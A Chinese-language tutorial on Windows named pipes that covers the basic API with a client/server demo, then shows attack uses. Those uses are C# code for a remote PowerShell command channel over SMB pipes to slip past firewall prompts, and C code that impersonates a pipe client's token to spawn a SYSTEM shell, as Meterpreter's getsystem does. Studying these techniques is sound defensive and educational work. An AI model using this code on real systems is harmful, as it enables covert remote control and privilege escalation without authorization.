您好,登錄后才能下訂單哦!
windows安全初探之命名管道,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
最近學校開了操作系統這門課,記錄自己學習命名管道中與網絡安全有關的內容。
關于命名管道:
“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進程間通信(IPC)機制,Microsoft Windows大都提供了對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機的不同進程之間或在跨越一個網絡的不同計算機的不同進程之間,支持可靠的、單向或雙向的數據通信。推薦用命名管道作為進程通信方案的一項重要的原因是它們充分利用了Windows內建的安全特性(ACL等)。
用命名管道來設計跨計算機應用程序實際非常簡單,并不需要事先深入掌握底層網絡傳送協議(如TCP、UDP、IP、IPX)的知識。這是由于命名管道利用了微軟網絡提供者(MSNP)重定向器通過同一個網絡在各進程間建立通信,這樣一來,應用程序便不必關心網絡協議的細節。
命名管道是一個具有名稱,可以單向或雙面在一個服務器和一個或多個客戶端之間進行通訊的管道。命名管道的所有實例擁有相同的名稱,但是每個實例都有其自己的緩沖區和句柄,用來為不同客戶端通許提供獨立的管道。使用實例可使多個管道客戶端同時使用相同的命名管道。
命名管道的名稱在本系統中是唯一的。
命名管道可以被任意符合權限要求的進程訪問。
命名管道只能在本地創建。
命名管道的客戶端可以是本地進程(本地訪問:\.\pipe\PipeName)或者是遠程進程(訪問遠程:\ServerName\pipe\PipeName)。
命名管道使用比匿名管道靈活,服務端、客戶端可以是任意進程,匿名管道一般情況下用于父子進程通訊。
列出計算機內所有的命名管道:
在powershell3以上的版本中,我們可以使用
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
來查看本機上所有的存在的命名管道,或者使用process explorer來進行查看
命名管道的創建及通信
在windows中命名管道的通信方式是:
①創建命名管道 --> ②連接命名管道 --> ③讀寫命名管道
詳細過程如下:
命名管道通過調用函數CreateNamedPipe()創建,函數原型如下:
HANDLE WINAPI CreateNamedPipe( _In_ LPCTSTR lpName, _In_ DWORD dwOpenMode, _In_ DWORD dwPipeMode, _In_ DWORD nMaxInstances, _In_ DWORD nOutBufferSize, _In_ DWORD nInBufferSize, _In_ DWORD nDefaultTimeOut, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes );
詳細參數可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
創建完成后服務端可以調用函數ConnectNamedPipe()等待客戶端的連接請求,函數原型如下:
BOOL WINAPI ConnectNamedPipe( _In_ HANDLE hNamedPipe, _Inout_opt_ LPOVERLAPPED lpOverlapped );
詳細參數可以參考:https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe
對于客戶端而言,在連接服務器創建的命名管道前需要判斷該命名管道是否可用,可調用函數WaitNamedPipe()實現
函數原型如下:
BOOL WaitNamedPipeA( LPCSTR lpNamedPipeName, DWORD nTimeOut );
詳細參數可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea
當WaitNamedPipe()調用成功后,便可使用CreateFile()將命名管道打開已獲得管道的句柄。
然后客戶端對命名管道的讀寫操作利用函數ReadFile()和WriteFile()完成,函數原型如下:
BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped );
具體參數可以參考:
WriteFile function (fileapi.h) - Win32 apps
ReadFile function (fileapi.h) - Win32 apps
demo:
下面是一個命名管道通信的小demo:
服務端:
#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argc,char * argv[]) { HANDLE h_pipe; char rev_buf[BUF_SIZE]; DWORD rel_buf; h_pipe = CreateNamedPipe( "\\\\.\\pipe\\pipename", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUF_SIZE, BUF_SIZE, 0, nullptr ); if (h_pipe == INVALID_HANDLE_VALUE) { cout<<"NamedPipe Create fail!!!"<<GetLastError()<<endl; system("pause"); return 1; } else { cout<<"NamedPipe Create Successful !!!"<<endl; } if (ConnectNamedPipe(h_pipe,nullptr)) { cout<<"NamedPipe Connected !!!"<<endl; memset(rev_buf,0,BUF_SIZE); if (ReadFile(h_pipe, rev_buf, BUF_SIZE, &rel_buf, nullptr)) { cout<<"Revecve Data Successful !!!"<<rev_buf<<endl; } else { cout << "Revecve Data Fail !!!" << GetLastError() << endl; CloseHandle(h_pipe); system("pause"); return 1; } } CloseHandle(h_pipe); return 0; }
客戶端:
#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argv,char * argc[]) { HANDLE h_pipe; char buf_msg[] = "Test for named pipe..."; DWORD num_rcv; //實際接收到的字節數 cout << "Try to connect named pipe...\n"; if (WaitNamedPipe("\\\\.\\pipe\\pipename", NMPWAIT_WAIT_FOREVER)) { //打開指定命名管道 h_pipe = CreateFile("\\\\.\\pipe\\pipename", GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (h_pipe == INVALID_HANDLE_VALUE) { cerr << "Failed to open the appointed named pipe!Error code: " << GetLastError() << "\n"; system("pause"); return 1; } else { if (WriteFile(h_pipe, buf_msg, BUF_SIZE, &num_rcv, nullptr)) { cout << "Message sent successfully...\n"; } else { cerr << "Failed to send message!Error code: " << GetLastError() << "\n"; CloseHandle(h_pipe); system("pause"); return 1; } } CloseHandle(h_pipe); } system("pause"); return 0; }
效果如下:
PS:實現長鏈接的話記得開新線程哦。
實際利用
繞過防火墻:
那么這個東西有什么用呢?我們在滲透的過程中經常會看到下面這種情況:
在 Windows 中,當嘗試使用 Bind() 綁定一個 TCP Socket 時,Defender 會彈窗提示是否允許此程序進行網絡連接,只有用戶點擊允許訪問才可放行。我們可以利用添加防火墻規則的辦法來繞過這個限制,但是,如果你不是administrator權限,也就GG了,這個時候我們還有另外的辦法就是利用命名管道,命名管道網絡通信使用了未加密的SMB協議(端口445)或DCE\RPC(端口135)。在 Windows 中,通常默認允許 SMB 協議 出入站,因此,如果有什么功能或機制可以用于與外部機器進行通信的,SMB 協議 無疑是一種很好的選擇。所以我們可以基于命名管道與外部機器進行通信,從而建立控制通道。
這里就直接拿rocll大佬的代碼過來了:
private static void WaitData() { // 創建一個運行空間 Runspace runspace = null; runspace = RunspaceFactory.CreateRunspace(); runspace.ApartmentState = System.Threading.ApartmentState.STA; runspace.Open(); while(true) { using (var pipeServer = new NamedPipeServerStream( "testpipe", PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) { Console.WriteLine("[*] Waiting for client connection..."); pipeServer.WaitForConnection(); Console.WriteLine("[*] Client connected."); while (true) { var messageBytes = ReadMessage(pipeServer); var line = Encoding.Default.GetString(messageBytes); Console.WriteLine("[*] Received: {0}", line); if (line.ToLower() == "exit") { return; } // 參考:https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/ try { Pipeline PsPipe = runspace.CreatePipeline(); PsPipe.Commands.AddScript(line); PsPipe.Commands.Add("Out-String"); Collection<PSObject> results = PsPipe.Invoke(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } var response = Encoding.Default.GetBytes(stringBuilder.ToString()); try { pipeServer.Write(response, 0, response.Length); } catch { Console.WriteLine("[!] Pipe is broken!"); break; } } catch (Exception e){} } } } } private static void SendData(string ServerName) { Console.WriteLine("[+] Connecting to " + ServerName); using (var pipeClient = new NamedPipeClientStream(ServerName, "testpipe", PipeDirection.InOut)) { pipeClient.Connect(5000); pipeClient.ReadMode = PipeTransmissionMode.Message; Console.WriteLine("[+] Connection established succesfully."); do { Console.Write("csexec> "); var input = Console.ReadLine(); if (String.IsNullOrEmpty(input)) continue; byte[] bytes = Encoding.Default.GetBytes(input); pipeClient.Write(bytes, 0, bytes.Length); if (input.ToLower() == "exit") return; var result = ReadMessage(pipeClient); Console.WriteLine(); Console.WriteLine(Encoding.Default.GetString(result)); } while (true); } }
模擬令牌:
這也是命名管道中常見的一種方法,一般可以用來提權操作,我們cobaltstrike中的getsystem也就是這個原理,官方給出的內容為:
Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.
大體意思也就是說,msf會創建一個命名管道,然后創建一個服務去運行cmd.exe /c echo “some data” >\\.\pipe\[random pipe here],當cmd連接到Meterpreter的明明管道的時候,因為服務是system權限,msf也就得到了一個system的shell。
Windows提供了這樣的API,ImpersonateNamedPipeClient API調用是getsystem模塊功能的關鍵。
ImpersonateNamedPipeClient允許命名管道模擬客戶端的服務器端。調用此函數時,命名管道文件系統會更改調用進程的線程,以開始模擬從管道讀取的最后一條消息的安全內容。只有管道的服務器端可以調用此函數。
在msf的meterpreter/source/extensions/stdapi/server/sys/process/process.c文件中,你可以看到它做了以下操作,派生令牌獲取shell:
if (ImpersonateNamedPipeClient(namedPipe) == 0) { printf("[!] Error impersonating client\n"); return 0; } if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError()); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c) if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError()); return 0; } }
然后我們就可以使用下面的辦法模擬令牌獲取一個system的shell:
HANDLE threadToken = NULL, duplicatedToken = NULL; OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken); DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken); err = GetLastError(); CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
一些細節:
為了防止濫用模仿機制,Windows不允許服務器在沒有得到客戶同意的情況下執行模仿。客戶進程在連接到服務器的時候可以指定一個SQOS(security quality of service),以此限制服務器進程可以執行的模擬等級。通過C++代碼訪問命名管道一般采用CreateFile函數,可以通過指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作為標記。 默認調用CreateFile函數訪問命名管道時采用的權限就是IMPERSONATION級別,只能用于模擬本地權限,無法應用域遠程訪問。其中權限最高的級別為DELEGATION,當客戶端模擬級別設置為此級別時,服務端可以任意模擬客戶端權限,包括本地和遠程。
看完上述內容,你們掌握windows安全初探之命名管道的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。